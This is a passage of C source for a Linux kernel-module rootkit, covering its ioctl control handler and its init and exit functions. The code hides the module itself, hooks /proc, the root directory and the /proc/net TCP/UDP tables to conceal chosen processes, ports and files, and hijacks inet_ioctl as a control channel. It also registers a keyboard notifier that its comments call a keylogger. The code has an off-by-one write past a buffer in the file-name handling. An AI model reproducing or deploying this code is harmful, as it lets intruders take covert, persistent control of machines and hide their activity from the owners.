| 815 | /* Unhide process */ 816 | case 2: 817 | { 818 | struct s_proc_args proc_args; 819 | 820 | ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); 821 | if ( ret ) 822 | return 0; 823 | 824 | #if __DEBUG__ 825 | printk("Unhiding PID %hu\n", proc_args.pid); 826 | #endif 827 | 828 | unhide_proc(proc_args.pid); 829 | } 830 | break; 831 | 832 | /* Hide TCPv4 port */ 833 | case 3: 834 | { 835 | struct s_port_args port_args; 836 | 837 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 838 | if ( ret ) 839 | return 0; 840 | 841 | #if __DEBUG__ 842 | printk("Hiding TCPv4 port %hu\n", port_args.port); 843 | #endif 844 | 845 | hide_tcp4_port(port_args.port); 846 | } 847 | break; 848 | 849 | /* Unhide TCPv4 port */ 850 | case 4: 851 | { 852 | struct s_port_args port_args; 853 | 854 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 855 | if ( ret ) 856 | return 0; 857 | 858 | #if __DEBUG__ 859 | printk("Unhiding TCPv4 port %hu\n", port_args.port); 860 | #endif 861 | 862 | unhide_tcp4_port(port_args.port); 863 | } 864 | break; 865 | 866 | /* Hide TCPv6 port */ 867 | case 5: 868 | { 869 | struct s_port_args port_args; 870 | 871 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 872 | if ( ret ) 873 | return 0; 874 | 875 | #if __DEBUG__ 876 | printk("Hiding TCPv6 port %hu\n", port_args.port); 877 | #endif 878 | 879 | hide_tcp6_port(port_args.port); 880 | } 881 | break; 882 | 883 | /* Unhide TCPv6 port */ 884 | case 6: 885 | { 886 | struct s_port_args port_args; 887 | 888 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 889 | if ( ret ) 890 | return 0; 891 | 892 | #if __DEBUG__ 893 | printk("Unhiding TCPv6 port %hu\n", port_args.port); 894 | #endif 895 | 896 | unhide_tcp6_port(port_args.port); 897 | } 898 | break; 899 | 900 | /* Hide UDPv4 port */ 901 | case 7: 902 | { 903 | struct s_port_args port_args; 904 | 905 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 906 | if ( ret ) 907 | return 0; 908 | 909 | #if __DEBUG__ 910 | printk("Hiding UDPv4 port %hu\n", port_args.port); 911 | #endif 912 | 913 | hide_udp4_port(port_args.port); 914 | } 915 | break; 916 | 917 | /* Unhide UDPv4 port */ 918 | case 8: 919 | { 920 | struct s_port_args port_args; 921 | 922 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 923 | if ( ret ) 924 | return 0; 925 | 926 | #if __DEBUG__ 927 | printk("Unhiding UDPv4 port %hu\n", port_args.port); 928 | #endif 929 | 930 | unhide_udp4_port(port_args.port); 931 | } 932 | break; 933 | 934 | /* Hide UDPv6 port */ 935 | case 9: 936 | { 937 | struct s_port_args port_args; 938 | 939 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 940 | if ( ret ) 941 | return 0; 942 | 943 | #if __DEBUG__ 944 | printk("Hiding UDPv6 port %hu\n", port_args.port); 945 | #endif 946 | 947 | hide_udp6_port(port_args.port); 948 | } 949 | break; 950 | 951 | /* Unhide UDPv6 port */ 952 | case 10: 953 | { 954 | struct s_port_args port_args; 955 | 956 | ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); 957 | if ( ret ) 958 | return 0; 959 | 960 | #if __DEBUG__ 961 | printk("Unhiding UDPv6 port %hu\n", port_args.port); 962 | #endif 963 | 964 | unhide_udp6_port(port_args.port); 965 | } 966 | break; 967 | 968 | /* Hide file/directory */ 969 | case 11: 970 | { 971 | char *name; 972 | struct s_file_args file_args; 973 | 974 | ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); 975 | if ( ret ) 976 | return 0; 977 | 978 | name = kmalloc(file_args.namelen + 1, GFP_KERNEL); 979 | if ( ! name ) 980 | return 0; 981 | 982 | ret = copy_from_user(name, file_args.name, file_args.namelen); 983 | if ( ret ) 984 | { 985 | kfree(name); 986 | return 0; 987 | } 988 | 989 | name[file_args.namelen+1] = 0; 990 | 991 | #if __DEBUG__ 992 | printk("Hiding file/dir %s\n", name); 993 | #endif 994 | 995 | hide_file(name); 996 | } 997 | break; 998 | 999 | /* Unhide file/directory */ 1000 | case 12: 1001 | { 1002 | char *name; 1003 | struct s_file_args file_args; 1004 | 1005 | ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); 1006 | if ( ret ) 1007 | return 0; 1008 | 1009 | name = kmalloc(file_args.namelen + 1, GFP_KERNEL); 1010 | if ( ! name ) 1011 | return 0; 1012 | 1013 | ret = copy_from_user(name, file_args.name, file_args.namelen); 1014 | if ( ret ) 1015 | { 1016 | kfree(name); 1017 | return 0; 1018 | } 1019 | 1020 | name[file_args.namelen + 1] = 0; 1021 | 1022 | #if __DEBUG__ 1023 | printk("Unhiding file/dir %s\n", name); 1024 | #endif 1025 | 1026 | unhide_file(name); 1027 | 1028 | kfree(name); 1029 | } 1030 | break; 1031 | 1032 | default: 1033 | break; 1034 | } 1035 | 1036 | return 0; 1037 | } 1038 | 1039 | hijack_pause(inet_ioctl); 1040 | ret = inet_ioctl(sock, cmd, arg); 1041 | hijack_resume(inet_ioctl); 1042 | 1043 | return ret; 1044 | } 1045 | 1046 | static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void ) 1047 | { 1048 | /* Hide LKM and all symbols */ 1049 | list_del_init(&__this_module.list); 1050 | 1051 | /* Hook /proc for hiding processes */ 1052 | proc_readdir = get_vfs_readdir("/proc"); 1053 | hijack_start(proc_readdir, &n_proc_readdir); 1054 | 1055 | /* Hook / for hiding files and directories */ 1056 | root_readdir = get_vfs_readdir("/"); 1057 | hijack_start(root_readdir, &n_root_readdir); 1058 | 1059 | /* Hook /proc/net/tcp for hiding tcp4 connections */ 1060 | tcp4_seq_show = get_tcp_seq_show("/proc/net/tcp"); 1061 | hijack_start(tcp4_seq_show, &n_tcp4_seq_show); 1062 | 1063 | /* Hook /proc/net/tcp6 for hiding tcp6 connections */ 1064 | tcp6_seq_show = get_tcp_seq_show("/proc/net/tcp6"); 1065 | hijack_start(tcp6_seq_show, &n_tcp6_seq_show); 1066 | 1067 | /* Hook /proc/net/udp for hiding udp4 connections */ 1068 | udp4_seq_show = get_udp_seq_show("/proc/net/udp"); 1069 | hijack_start(udp4_seq_show, &n_udp4_seq_show); 1070 | 1071 | /* Hook /proc/net/udp6 for hiding udp4 connections */ 1072 | udp6_seq_show = get_udp_seq_show("/proc/net/udp6"); 1073 | hijack_start(udp6_seq_show, &n_udp6_seq_show); 1074 | 1075 | /* Hook inet_ioctl() for rootkit control */ 1076 | inet_ioctl = get_inet_ioctl(AF_INET, SOCK_STREAM, IPPROTO_TCP); 1077 | hijack_start(inet_ioctl, &n_inet_ioctl); 1078 | 1079 | /* Install a keylogger to monitor for magic key sequence*/ 1080 | register_keyboard_notifier(&nb); 1081 | ts = kthread_run(unlocker, NULL, "kthread"); 1082 | 1083 | return 0; 1084 | } 1085 | 1086 | static void __exit mischief_managed ( void ) 1087 | { 1088 | kthread_stop(ts); 1089 | unregister_keyboard_notifier(&nb); 1090 | hijack_stop(inet_ioctl); 1091 | hijack_stop(udp6_seq_show); 1092 | hijack_stop(udp4_seq_show); 1093 | hijack_stop(tcp6_seq_show); 1094 | hijack_stop(tcp4_seq_show); 1095 | hijack_stop(root_readdir); 1096 | hijack_stop(proc_readdir); 1097 | } 1098 | 1099 | module_init(i_solemnly_swear_that_i_am_up_to_no_good); 1100 | module_exit(mischief_managed); 1101 | 1102 | MODULE_LICENSE("GPL"); 1103 | --------------------------------------------------------------------------------